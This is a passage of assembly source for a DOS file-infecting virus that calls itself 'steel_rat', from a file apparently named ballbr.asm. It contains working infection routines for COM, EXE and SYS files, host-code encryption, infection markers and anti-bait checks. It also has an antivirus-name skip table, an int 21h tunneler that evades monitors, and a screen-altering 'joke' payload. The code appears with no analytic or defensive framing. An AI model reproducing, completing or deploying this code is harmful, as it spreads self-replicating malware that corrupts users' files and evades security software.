;----------------------------------------------------------------
If      CHost
HostKey db      ?
;----------------------------------------------------------------
CryptHost       proc                    ; Crypt part of host
        xor bp,bp

        mov ax,4200h                    ; Point to host entry
        call dos

        push ax dx
        mov ah,3fh
        mov dx,offset free              ; Load 1024 bytes from host
        mov cx,1024                     ; entry point
        push cx
        call dos

        xor ax,ax
        call getrnd                     ; Get encryption key
        mov ds:[HostKey],al
        mov si,dx
        pop cx

CryptH: add ds:[si],al
        inc si
        loop Crypth

        pop cx dx

        mov ax,4200h
        call dos                        ; Point it back

        mov ah,40h                      ; Write crypted data
        mov dx,offset free
        mov cx,1024
        call dos
        ret
CryptHost       endp
;----------------------------------------------------------------
DecryptHost     proc
        push ax ds si cx
        mov ds,ax
        mov cx,1024
        mov al,cs:[HostKey][Bp]
DCHost: sub ds:[si],al
        inc si
        loop DCHost
        pop  cx si ds ax
        ret
DecryptHost     endp
EndIf
;----------------------------------------------------------------
If      i28U
i28:    cmp cs:[Allow],1
        jz LetsInfectIt
        jmp NoInfect
LetsInfectIt:
        cmp cs:[IntInf],i28c
        jb NoInfect
        mov cs:[IntInf],0

        mov cs:[SSt],ss
        mov cs:[SPt],sp
        mov cs:[AxS],ax

        mov ax,cs
        mov ss,ax
        mov sp,offset Sta
        pusha
        push es ds
        push cs
        pop ds

        mov ah,2Fh                              ; Store old DTA
        call dos
        mov word ptr ds:[DtaS],bx
        mov word ptr ds:[DtaS][2],es

        mov ah,1ah
        mov dx,offset Dta                       ; Setup Dta
        call dos

        mov ah,4eh
        mov dx,offset Msk
        xor cx,cx
FFile:  call dos
        jb InfectedIt
        mov ds:[Infected],0
        mov dx,offset Fname
        Call Infect
        cmp ds:[Infected],1
        jz InfectedIt
        mov ah,4fh
        jmp FFile
InfectedIt:
        lds dx,ds:[DtaS]
        mov ah,1ah
        call dos
        pop ds es
        popa
        mov ax,cs:[SSt]
        mov ss,ax
        mov sp,cs:[SPt]
        mov ax,cs:[AxS]
NoInfect:
        db      0EAh
Old28   dd      ?
;----------------------------------------------------------------
SSt     dw      ?
SPt     dw      ?
Axs     dw      ?
Dtas    dd      ?
Msk     db      '*.*',0
Endif

IntInf  dw      ?
Infected        db      ?
Key     db      ?
;----------------------------------------------------------------
Mark    proc
        mov ax,5700h                            ; Get file date
        Call dos
        push dx                                 ; Store it

        mov ax,ds:[FLen]
        cwd
        mov cx,iCheck2                          ; If it divides by infection
        div cx                                  ; mark ?
        sub cx,dx
        or cx,cx
        jz NoPatchSize

        add ds:[Flen],cx                        ; Nope... Lets fill up

        push cx                                 ; Store size

        mov ax,4202h                            ; To the end of file
        cwd
        xor cx,cx
        int 21h

        pop cx
        push cx

        mov di,offset Temp                      ; Fill with garbage
        push di
LL:     Call GetMax
        stosb
        loop LL

        pop  dx cx

        mov ah,40h                              ; Write garbage
        Call dos
NoPatchSize:
        pop dx
        mov cx,ds:[FLen]
        mov ax,5701h                            ; Mark file
        Call dos
        mov ds:[Infected],1
        ret
Mark    endp
;----------------------------------------------------------------
CheckInf        proc
        mov ax,5700h
        Call dos
CheckInfz:
        xchg ax,cx
        mov cx,iCheck2
        xor dx,dx
        div cx
        or dx,dx
        ret
CheckInf        endp
;----------------------------------------------------------------
infect  proc    near                    ; Main infection routine
        call si24                       ; Set int 24h
        pusha
        push ds es

If      AAV
        push dx es ds
        call CheckAv
        dec bp
        pop  ds es dx
        jz Open_Done
EndIf

        call Scan                       ; Scan for extension

        mov cs:[MinGarb],MinG
        mov cs:[MaxGarb],MaxG
        mov cs:[AntiH1],1               ; Use Anti-heuristics
        mov cs:[UseInt],1               ; Use ints

        cmp al,0
        jz Open_Done                    ; Al = 0 ?

        cmp al,3
        jz Its_Sys
        cmp al,2
        jz Its_Exe
        cmp al,1
        jz Its_Com
        jmp Open_Done
Its_Com:
        call if_command                 ; Check for command.com
        jz Open_Done
        call infect_com                 ; Infect Com
        jmp Open_Done
Its_exe:
        call Infect_exe                 ; Infect Exe
        jmp Open_Done
Its_SyS:
        call Infect_Sys                 ; Infect Sys
Open_done:
        pop es ds
        popa
        call ri24                       ; Restore int 24
        ret
infect  endp
;--------------------------------------------------------------
If      NoCBait
CheckBait       proc
        xor bp,bp

        mov ax,4202h                    ; To the end of founded file
        xor cx,cx
        cwd
        call dos

        cmp ax,MinCom+Vlen              ; This is not anti-bait routine,
        jb SeekS                        ; this is just simple
        sub ax,150
        xchg ax,dx
        xchg ax,cx
        mov ax,4200h
        call dos

        push cs cs
        pop  es ds

        mov ah,3fh
        mov dx,offset free              ; Read 100
        mov cx,100
        call dos

        mov si,dx
        mov di,dx
        lodsb
        mov cx,100                      ; Check for equal bytes
        push si di cx
rep     scasb
        pop  cx di si
        jz ItsBait

        xor dx,dx                       ; Check for text strings
LCheck: lodsb
        cmp al,'z'
        ja ProbablyNotText
        inc dx
ProbablyNotText:
        loop LCheck

        cmp dx,90
        jae ItsBait
        jmp SeekS
ItsBait:
        inc bp
SeekS:  mov ax,4200h
        xor cx,cx
        cwd
        call dos
        ret
CheckBait       endp
EndIf
;--------------------------------------------------------------
If SlowPoly
MakeSlow     proc
        cld
        mov si,offset RSeed
        mov di,offset RandSeed
        movsw
        movsw
        ret
MakeSlow     endp
EndIF
;--------------------------------------------------------------
if      AAV
AVTbl   db      5,'drweb'
        db      5,'DRWEB'
        db      4,'aids'                ; This AV not problem
        db      4,'AIDS'                ; for us,but better not infect it...
        db      6,'f-prot'
        db      6,'F-PROT'
        db      5,'adinf'
        db      5,'ADINF'
        db      4,'scan'
        db      4,'SCAN'
        db      6,'vshiel'
        db      6,'VSHIEL'
        db      5,'clean'
        db      5,'CLEAN'
        db      7,'findvir'
        db      7,'FINDVIR'
        db      5,'guard'
        db      5,'GUARD'
        db      2,'tb'
        db      2,'TB'
        db      2,'-V'
        db      2,'-v'
        db      4,'virs'
        db      4,'VIRS'
        db      3,'avp'
        db      3,'AVP'
        db      0
Endif
;--------------------------------------------------------------
si24    proc    near
        push dx ds ax es bx

        mov ax,3524h                    ; Get old int 24h
        call dos
        mov word ptr cs:[old24],bx
        mov word ptr cs:[old24][2],es
        push cs
        pop ds
        mov ax,2524h
        mov dx,offset i24               ; Set int 24h
        call dos

if      i2Au
        push di

        in al,21h
        or al,00000001b                 ; Turn off timer
        out 21h,al

        cld

        xor ax,ax
        mov es,ax
        mov di,2Ah*4
        lds ax,es:[di]                  ; Get int 2Ah
        mov word ptr cs:[o2A],ax
        mov word ptr cs:[o2A][2],ds

        mov ax,offset i2A               ; Set int 2Ah
        stosw
        mov ax,cs
        stosw
        pop  di
EndIf

        pop bx es ax ds dx
        ret
si24    endp

i24:    mov al,3
i2A:    iret

o2a     dd      ?

ri24    proc    near
        push ds ax es dx
        les dx,cs:[old24]                       ; Restore old int 24h
        mov ax,2524h
        call dos

If      i2Au
        push di
        xor ax,ax
        mov es,ax
        lds ax,cs:[o2a]                         ; Restore int 2Ah
        cld
        mov di,2Ah*4
        stosw
        mov ax,ds
        stosw

        in al,21h
        and al,11111110b                        ; Turn timer on
        out 21h,al
        pop di
EndIf

        pop dx es ax ds
        ret
ri24    endp

savea   proc    near
        push ax cx

        mov cs:[dss],ds                         ; Store Ds:Dx for attributes
        mov cs:[dxs],dx                         ; restore
        mov ax,4300h                            ; Get attribs
        call dos
        mov cs:[fr],ax
        mov ax,4301h                            ; Set attribs
If      TestVir
        mov ax,4300h                            ; If test virus - skip
EndIf                                           ; attrib set
        xor cx,cx
        call dos
        pop cx ax
        ret
savea   endp

resta   proc    near
        push ds dx ax cx
        push cs:[dss]                           ; Restore attributes
        pop ds
        mov dx,cs:[dxs]
        mov ax,4301h
if      TestVir
        mov ax,4300h
EndIf
        mov cx,cs:[fr]
        call dos
        pop cx ax dx ds
        ret
resta   endp
        db      'Freedom is the greatest thing in the world !'

CheckWin        proc
        pusha
        mov ax,1600h
        int 2Fh
        cmp al,1
        jz WinHere
        cmp al,-1
        jz WinHere
        cmp al,0
        jz CWin
        cmp al,80h
        jnz WinHere
CWin:   mov ax,4680h
        int 2Fh
        cmp al,80h
        jz NoWin
WinHere:mov cs:[Windoze],1
NoWin:  popa
        ret
CheckWin        endp

;------------------- i21 Tracer -------------------------------

tunnelit        proc    near                    ; Int 21 tunneler
        push ds es
        pusha

        pushf
        push cs cs
        pop ds
        mov ax,offset tunend                    ; Store offset for return
        push ax

        mov ax,3501h                            ; Get int 1
        call dos

        mov word ptr cs:[o1],bx                 ; Store it
        mov word ptr cs:[o1][2],es

        mov ax,2501h
        mov dx,offset proggy                    ; Set it
        call dos

        cli
        pushf
        pop ax
        or ax,100h                              ; Set trace flag
        push ax
        sti

        les ax,cs:[i21]                         ; Get current int 21
        push es
        push ax

        mov ax,2501h                            ; Restore old 1
        lds dx,cs:[o1]
        iret                                    ; Go !

proggy:
        push bp
        mov bp,sp
        cmp word ptr [bp][4],0300h              ; Reached MS-Dos segment ?
        jb Save
        cmp word ptr [bp][4],0C800h             ; Reached high-dos segment ?
        jb Work
Save:
        push ds
        push bx
        lds bx,[bp][2]
        mov word ptr cs:[r21],bx                ; Get offset
        mov word ptr cs:[r21][2],ds
        pop bx
        pop ds
        mov cs:[f1],1                           ; Tunelled !
Stop:
        and word ptr [bp][6],0FEFFh             ; Disable trace
CheckOp:
        push ds si ax
        lds si,[bp][2]                          ; Get returning offset
        dec si
        lodsb
        cmp al,09Ch                             ; Last opcode was pushf ?
        jne CheckOpz
        and word ptr [Bp][8],0FEFFh             ; Drop trace flag
CheckOpz:
        dec si
CheckForPopf:
        lodsb

        cmp al,9Dh                              ; Popf ?
        jz ItsPopf
        cmp al,0CFh                             ; Iret ?
        jz ItsIret

        cmp al,2Eh                              ; Cs ?
        jz CheckForPopf
        cmp al,26h                              ; Es ?
        jz CheckForPopf
        cmp al,36h                              ; SS ?
        jz CheckForPopf
        cmp al,0F2h                             ; Rep ?
        jz CheckForPopf
        cmp al,0F3h                             ; Repne ?
        jz CheckForPopf
        cmp al,3Eh                              ; Ds ?
        jz CheckForPopf

        jmp OpOk                                ; Nothing serious
ItsIret:
        or word ptr ss:[bp][12],100h            ; Set trace flag again
        jmp OpOk
ItsPopf:
        or word ptr ss:[bp][8],100h             ; Set trace flag... ;)
OpOk:
        pop  ax si ds
Work:
        pop bp
        iret
tunend:
        inc cs:[TunnelTry]              ; Increase number of try's
        popa
        pop es ds
        ret
tunnelit        endp

TunnelTry       db      ?

Joke    proc    near
        cmp cs:[joker],TNUM
        jz Give_em_Joke
Time_out:
if      i28U
        inc cs:[IntInf]
EndIf
        jmp dword ptr cs:[i8]

Give_em_Joke:
        inc cs:[cnt]
        cmp cs:[cnt],4
        jb Time_Out

        mov cs:[cnt],0

        push es di ax cx

        mov ax,0B800h
        mov es,ax

        xor di,di
        mov cx,2000
He_he:  mov al,es:[di]
        cmp al,'1'
        jb NotNum
        cmp al,'9'
        ja NotNum
        dec al
        jmp SkipChar
NotNum: cmp al,'|'
        jne Check2
        mov al,'/'
        jmp SkipChar
Check2: cmp al,'/'
        jne Check3
        mov al,'-'
        jmp SkipChar
Check3: cmp al,'-'
        jne Check4
        mov al,'\'
        jmp SkipChar
Check4: cmp al,'\'
        jne SkipChar
        mov al,'|'
SkipChar:
        stosb
        inc di
        loop He_He

        pop cx ax di es

        jmp Time_Out
Joke    endp

Cnt     db      0
Joker   db      0

include smm.asm
;--------------------------------------------------------------

Vlen    equ     offset $ - offset steel_rat
SLen    equ     ( offset $ - offset steel_rat ) / 512 + 1

Flen    dw      ?

RSeed   dd      ?

i21     dd      ?                               ; Different data
r21     dd      ?
i8      dd      ?
old24   dd      ?
i2f     dd      ?
o1      dd      ?

ss_s    dw      ?
sp_s    dw      ?

dss     dw      ?
dxs     dw      ?

fr      dw      ?
f1      db      ?

allow   db      ?

Include smm.dat                                 ; Different SMM variables

temp    db      1Ah dup (?)

Windoze db      ?

esize   db      ?
temp2   db      64 dup (?)

Dta     db      21 dup (?)
        db      ?
        dw      ?
        dw      ?
        dd      ?
Fname   db      13 dup (?)

temp3   db      128 dup (?)
Sta:

NeededVlen      equ     (offset $ - offset steel_rat+1524)/8
Kbmem   equ     (offset $ - offset steel_rat+1524)/1024*2

free:
end steel_rat
===== end   ballbr.asm =====
